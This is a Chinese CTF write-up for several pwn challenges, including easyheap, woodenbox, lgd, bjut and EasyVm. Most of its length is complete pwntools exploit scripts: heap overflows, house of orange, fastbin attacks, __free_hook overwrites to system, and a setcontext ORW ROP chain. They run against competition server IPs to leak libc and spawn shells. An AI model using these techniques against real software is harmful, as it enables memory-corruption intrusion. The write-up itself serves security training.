summary

这次比赛总的来说发挥还算不错,虽然没有抢到一血,但是至少做出题目了。对kernel题目来说不太熟练,甚至是有点忘了怎么去做了,有时间了一定要多多熟练kernel的利用,不过这次的每道kernel都有非预期,有点无脑。最后还有一个towchunk的利用,放到后面一篇文章专门讲解。那是一个新的利用技术。最后吐槽一下,这次赛题太多了,肝死我,不过好在肝到了一个养生壶,美滋滋。

easyheap

这道题真的卡了我好久,我就没有看出这里的逻辑漏洞,真是想当然的认为在错误了之后就把堆块给free了。

真是吃到了开发功底不扎实的亏啊。

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from PwnContext import *
from pwn import *
from LibcSearcher import *
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))


ctx.binary = 'easyheap'
libc = ELF('./libc.so.6')


ctx.debug_remote_libc =False
local=0
def choice():
if(local):
p=rs()
else:
ctx.remote = ('121.36.209.145',9997)
p=rs('remote')
return p


def debug():
libc_base = ctx.bases.libc
print hex(libc_base)
ctx.symbols = {'sym1':0x0000000000400B1E}
ctx.breakpoints = [0x0000000000400B1E]
ctx.debug()


def create(size,content):
sla("Your choice:\n",1)
sla("How long is this message?\n",size)
sa("What is the content of the message?\n",content)
def edit(index,content):
sla("Your choice:",3)
sla("What is the index of the item to be modified?\n",index)
sa("What is the content of the message?\n",content)
def free(index):
sla("Your choice:",2)
sla("What is the index of the item to be deleted?\n",index)
choice()
create(0x18,p64(0x602018)+p64(0x200))
free(0)
sla("Your choice:\n",1)
sla("How long is this message?\n",str(0x500))
sla("Your choice:\n",1)
sla("How long is this message?\n",str(0x500))


edit(0,p64(0)+p64(0x21)+p64(0x6020d8))
edit(1,p64(0x6020e8)+p64(0x6020f8)+p64(0x602018)+p64(0x200)+"/bin/sh\x00")
edit(0,p64(0)+p64(0x21)+p64(0x602018))
edit(1,p64(0x0400670))
edit(0,p64(0)+p64(0x21)+p64(0x602080))

free(1)
stdout=uu64(r(6))
libc_base=stdout-(0x7ffff7dd2620-0x7ffff7a0d000)
leak("libc_base",libc_base)
system=libc_base+libc.symbols["system"]
edit(3,p64(system))
free(4)
#debug()
irt()

img

woodenbox

这个题目就比较简单,就是简单的堆溢出,我为了图方便,不想那么麻烦的攻击__free_hook,直接用来house of orange来getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from PwnContext import *
from pwn import *
from LibcSearcher import *
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))


ctx.binary = 'woodenbox2'
libc =ELF('/lib/x86_64-linux-gnu/libc.so.6')


ctx.debug_remote_libc = False
local=0
def choice():
if(local):
p=rs()
else:
ctx.remote = ('121.36.215.224',9998)
p=rs('remote')
return p

def debug():
libc_base = ctx.bases.libc
print hex(libc_base)
ctx.symbols = {'sym1':0xEDA , 'sym2':0x10AF}
ctx.breakpoints = [0xEDA,0x10AF]
ctx.debug()


def create(size,content):
sla("Your choice:",1)
sla("Please enter the length of item name:",size)
sa("Please enter the name of item:",content)
def edit(index,size,content):
sla("Your choice:",2)
sla("Please enter the index of item:",index)
sla("Please enter the length of item name:",size)
sa("Please enter the new name of the item:",content)
def free(index):
sla("Your choice:",3)
sla("Please enter the index of item:",index)
choice()
create(0xf8,"a"*0x20)
create(0x68,"a"*0x20)
create(0xf8,"a"*0x20)
create(0x18,"a"*0x10)
free(0)
edit(0,0x70,"f"*0x60+p64(0x170)+p64(0x100))
free(0)
free(0)

create(0xf8,"a"*0x20)
create(0x58,"\xdd\x25")
create(0xf8,"a"*0x20)
edit(1,0x100,0xf0*'w'+p64(0)+p64(0x70))
create(0x68,"a"*0x20)
create(0x68,"\x00"*0x33+p64(0xfbad1800)+p64(0)*3+'\x88')
libc_base=uu64(r(6))-(0x7ffff7dd18e0-0x7ffff7a0d000)
leak("libc_base",libc_base)
_IO_list_all=libc_base+libc.symbols['_IO_list_all']
fake_file=p64(0)+p64(0x61)
fake_file+=p64(0)+p64(_IO_list_all-0x10)
fake_file+=p64(1)+p64(2)
fake_file+=p64(0)+p64(libc_base+0x18cd57)
fake_file=fake_file.ljust(0xd8,"\x00")
fake_file+=p64(libc_base+0x3c37a0-8)
fake_file+=p64(0)
fake_file+=p64(libc_base+libc.symbols['system'])
free(3)
edit(1,0x50+len(fake_file),0x50*'a'+fake_file)
sla("Your choice:",1)
sla("Please enter the length of item name:",str(0x100))
#debug()
irt()

img

lgd

堆溢出,首先用fast bin attack攻击bss段修改指针,然后修改__free_hook为setcontext,最后劫持栈和rip。最后使用ORW的ROP,最后拿到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from PwnContext import *
from pwn import *
from LibcSearcher import *
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))


ctx.binary = 'lgd'
#ctx.remote_libc = './libc.so'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ctx.debug_remote_libc = False
local=0
def choice():
if(local):
p=rs()
else:
ctx.remote = ('121.36.209.145',9998)
p=rs('remote')
return p


def debug():
libc_base = ctx.bases.libc
print hex(libc_base)
ctx.symbols = {'sym1':0x0401A97}
ctx.breakpoints = [0x0401A97]
ctx.debug()


def create(size,content):
sla(">> ",1)
sla("__?\n",size)
sa("or_no?\n",content)
def show(index):
sla(">> ",3)
sla("ex ?\n",index)
def edit(index,content):
sla(">> ",4)
sla("ex ?\n",index)
sa("tent ?\n",content)
def free(index):
sla(">> ",2)
sla("ex ?\n",index)
choice()
sla(" name? \n","whali3n51")
create(0xf8,"a"*0x200)
create(0x58,"a"*0x200)
create(0xf8,"a"*0x200)
create(0x18,"a"*0x200)
free(0)
edit(1,"f"*0x50+p64(0x160)+p64(0x100))
free(2)
create(0xf8,"a"*0x200)
show(1)
libc_base=uu64(r(6))-(0x7fb8d44feb78-0x7fb8d413a000)
leak("libc_base",libc_base)
create(0x58,"a"*0x200)
create(0xf8,"a"*0x1f0+p64(0)+p64(0x60))
free(2)
edit(1,p64(0x603250))
create(0x58,"a"*0x100)
create(0x58,0x1f0*'a')
edit(5,p32(0x200)*8*4+p64(libc_base+libc.symbols["__free_hook"]))
edit(0,p64(libc_base+libc.symbols["setcontext"]+0x35))
frame = SigreturnFrame()
frame.rdi = 0
frame.rax = 0
frame.rsi = (libc_base + libc.symbols['__free_hook'])
frame.rcx = (libc_base + libc.symbols['__free_hook'])
frame.rdx = 0x2000
frame.rsp = (libc_base + libc.symbols['__free_hook'])
frame.rip = libc_base + 0x00000000000bc375 #: syscall; ret;
payload = str(frame)
edit(1,payload)
#debug()
free(1)
poprdi=libc_base+0x0000000000021102
flag_addr=libc_base + libc.symbols['__free_hook']+15*8
poprsi=libc_base+0x00000000000202e8
open_addr=libc_base+libc.symbols["open"]
poprdx=libc_base+0x0000000000001b92
puts_addr=libc_base+libc.symbols["puts"]
read_addr=libc_base+libc.symbols["read"]
bss=libc_base + libc.symbols['__free_hook']+0x2000
orw=p64(poprdi)+p64(flag_addr)+p64(poprsi)+p64(72)+p64(open_addr)+p64(poprdi)+p64(3)+p64(poprsi)+p64(bss)+p64(poprdx)+p64(0x30)+p64(read_addr)
orw+=p64(poprdi)+p64(bss)+p64(puts_addr)+"/flag\x00"
s(orw)
irt()

img

Shortest_Path_v2

这一题是非预期,程序读入flag直接遗留在heap段了,后面申请chunk,直接就可以拿到,这次比赛的非预期真多。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from PwnContext import *
from pwn import *
from LibcSearcher import *
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))


ctx.binary = 'Shortest_path'
#ctx.remote_libc = './libc.so'


ctx.debug_remote_libc = False
local=0
def choice():
if(local):
p=rs()
else:
ctx.remote = ('121.37.181.246',19008)
p=rs('remote')
return p

def debug():
libc_base = ctx.bases.libc
print hex(libc_base)
ctx.symbols = {'sym1':0xEDA , 'sym2':0x10AF}
ctx.breakpoints = [0xEDA,0x10AF]
ctx.debug()


def create(ID,name_size,name,index,distance):
sla("---> ",1)
sla("Station ID: ",ID)
sla("Station Price: ", 1)
sla("Station Name Length: ",str(name_size))
sla("Station Name: \n",name)
sla('Number of connected station: ',len(index))
for i in range(len(index)):
sla("station ID: ",index[i])
sla("distance: ",distance[i])


def show(index):
sla("---> ",3)
sla("Station ID: ",index)


def query(source,target):
sla("---> ",4)
sla("Source Station ID: ",str(source))
sla("Target Station ID: ",str(target))

def free(index):
sla("---> ",2)
sla("Station ID: ",index)

choice()
create(0,0xf7,"1"*0xf7,[2],[123])
create(1,0xb8,"1"*0xb7,[2],[123])
sla("---> ",1)
sla("Station ID: ",2)
sla("Station Price: ", '1')
sla("Station Name Length: ",'-')
sa('Station Name: \n','0')
sla('Number of connected station: ',0)
show(2)
#debug()
irt()

img

bjut

数组越界读写,直接可以修改stderr,因为是write泄露,并且字节特别大。同样的用modify越界修改stderr,然后可以修改到__free_hook。不过这样利用成功概率不大,需要不断尝试。我看其他队伍的wp,数组越界竟然到了负一千多的地方,可怕。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from PwnContext import *
from pwn import *
#from LibcSearcher import *
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))


ctx.binary = ''
#ctx.remote_libc = './libc.so'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ctx.debug_remote_libc = False
local=0
def choice():
if(local):
p=rs()
else:
ctx.remote = ('121.37.167.199',9997)
p=rs('remote')
return p


def create(size,content):
sla(">",1)
sla("The length of your hw:\n",size)
sa("Input your hw:\n",content)
def show(index):
sla(">",4)
sla("The index of your hw:",index)
def edit(index,content):
sla(">",2)
sla("The index of your hw:",index)
sa("Input your hw:",content)
def free(index):
sla(">",3)
sla("The index of your hw:",index)
choice()
create(0x7f,'/bin/sh\x00')
create(0x7f,'/bin/sh\x00')
show(-16)
ru("\x77\x3a\x0a")
info=r()
libc_base=uu64(info[13*8:14*8])-(0x7f8e26d55760-0x00007f8e26b70000)
leak("libc_base",libc_base)
print hex(len(info))
pause()
system=libc_base+libc.symbols['system']
edit(-16,info+(0x1f28-len(info))*'\x00'+p64(system))
sla(">",5)
irt()

img

babyhacker

这算是出题方的失误吧,题目flag直接包裹在题目附件里面。属实不想吐槽这种非预期。

img

EasyVm

这一题可以操作的方式太多了,唯一难点就是泄露,修改多种方式都可以。有利用putchar任意泄露的,用getchar任意修改,还可以free之后main_arena的地址直接给了reg[1],直接可以打印出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from PwnContext import *
from pwn import *
from LibcSearcher import *
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

ctx.binary = 'EasyVM'
#ctx.remote_libc = './libc.so'
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
ctx.debug_remote_libc = False
local=0
def choice():
if(local):
p=rs()
else:
ctx.remote = ('121.36.215.224',9999)
p=rs('remote')
return p


def debug():
libc_base = ctx.bases.libc
print hex(libc_base)
ctx.symbols = {'sym1':0xF72}
ctx.breakpoints = [0xF72]
ctx.debug()

def create(content):
sla(">>> \n",1)
s(content+'\x99\x99\x99')

def run():
sla(">>> \n",2)

def gift():
sla(">>> \n",4)

def free():
sla(">>> \n",3)
def push(content):
return '\x71'+content
choice()
create('\x80\x10/bin\x80\x10/sh\x00'+push(p32(0x66666666))*77)
run()
free()
create('\x11')
run()
ru('0x')
libc_base=int(r(8),16)-(0xf7efe930-0xf7d4c000)
leak("libc_base",libc_base)
free_hook=libc_base+libc.symbols["__free_hook"]
system=libc_base+libc.symbols["system"]
create(push(p32(free_hook))+'\x76\x00\x00\x00\x00\x54\x00'+push(p32(free_hook+1))+'\x76\x00\x00\x00\x00\x54\x00'+push(p32(free_hook+2))+'\x76\x00\x00\x00\x00\x54\x00'+push(p32(free_hook+3))+'\x76\x00\x00\x00\x00\x54\x00')
run()
sleep(0.1)
s(p32(system)[0])
sleep(0.1)
s(p32(system)[1])
sleep(0.1)
s(p32(system)[2])
sleep(0.1)
s(p32(system)[3])
create(push("/sh\x00")+push("/bin"))
run()
free()
#debug()
irt()

babyhacker2

这一题是赛后复现,看来其他队伍的wp,我吐了,就没有一个规规矩矩解的,我说怎么秒的那么快。

首先是NU1L:

修改二进制文件umount,最后exit的时候触发/bin/sh,成功拿到flag。这题局限性是对方用qume起的虚拟机,不然真实机器直接退出了。

然后V&N:

这个没弄懂,反正以后比赛可以试一下。

kernoob

我真是吃了没有strings的亏,这一题flag还是在附件里面,只不过不是在flag文件里面,在其他地方。